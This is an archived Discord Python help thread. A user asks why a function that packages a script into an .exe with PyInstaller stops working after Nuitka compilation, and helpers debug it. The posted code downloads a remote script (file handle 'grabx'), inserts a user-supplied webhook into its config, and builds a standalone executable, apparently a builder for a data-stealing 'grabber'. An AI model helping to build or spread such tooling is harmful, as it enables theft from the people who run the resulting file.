#๐Ÿ”’ def create_exe not working in compiled version of .py script

23 messages ยท Page 1 of 1 (latest)

shrewd whaleBOT
#

@severe dome

Python help channel opened

Remember to:

  • Ask your Python question, not if you can ask or if there's an expert who can help.
  • Show a code sample as text (rather than a screenshot) and the error message, if you've got one.
  • Explain what you expect to happen and what actually happens.

:warning: Do not pip install anything that isn't related to your question, especially if asked to over DMs.

severe dome
#

also i dont think its because of os.remove() because it works fine when running .py

empty plinth
#

good day

severe dome
#

hi

empty plinth
#

i clicked by accident, but what is your issue, i dont have much experience with nuitka though

severe dome
#

so when the function create_exe works when im running in main.py

empty plinth
#

yes that makes sense for it to work

severe dome
#

but after compiling main.py in nuitka it just stops working

#

like skips whole function

empty plinth
#

how do you know its not working though?

severe dome
#

because i tested it

empty plinth
#

what kind of error do you get from subprocess?

severe dome
#

nothing

quasi igloo
#

Have you tried debugging your code?

severe dome
# quasi igloo Have you tried debugging your code?
def createfile():
        name = input(f'                                  {m}[{w}FILENAME{m}] > {w}')
        webhook = input(f'                                  {m}[{w}WEBHOOK{m}] > {lb}[INPUT HIDDEN]{black}')
        src = requests.get('link')
        with open(f'assets/{name}.py', 'wb')as grabx:
            grabx.write(src.content)
        with open(f'assets/{name}.py', 'r') as file:
            filedata = file.read()

        text_to_replace = '''__CONFIG__ = {webhook}'''
        new_text = f'''__CONFIG__ = {webhook}'''
        filedata = filedata.replace(text_to_replace, new_text)

        with open(f'assets/{name}.py', 'w') as file:
            file.write(filedata)
       
        

        def create_exe(script_file):
            script_path = os.path.abspath(script_file)
            script_dir = os.path.dirname(script_path)

            print(f"creating {name}.exe!", end='', flush=True)

            with subprocess.Popen([sys.executable, "-m", "PyInstaller", "--onefile", script_path],
                                cwd=script_dir,
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE) as process:

                stdout, stderr = process.communicate()
        


            
        create_exe(f'assets/{name}.py')
        os.remove(f'assets/{name}.py')

        

        print(f'created {name.exe}')
        input(f'go back')
#

this is the command
nuitka --follow-imports --output-dir=dist --onefile main.py

#

error when running compiled version with nuitka
error during pyinstaller execution the system cannot find the file specified

when i try running .py file it works fine.

quasi igloo
severe dome
quasi igloo
#

that might be the problem

severe dome
#

i fixed it

shrewd whaleBOT
#
Python help channel closed

This help channel has been closed and it's no longer possible to send messages here. If your question wasn't answered, feel free to create a new post in #1035199133436354600. To maximize your chances of getting a response, check out this guide on asking good questions.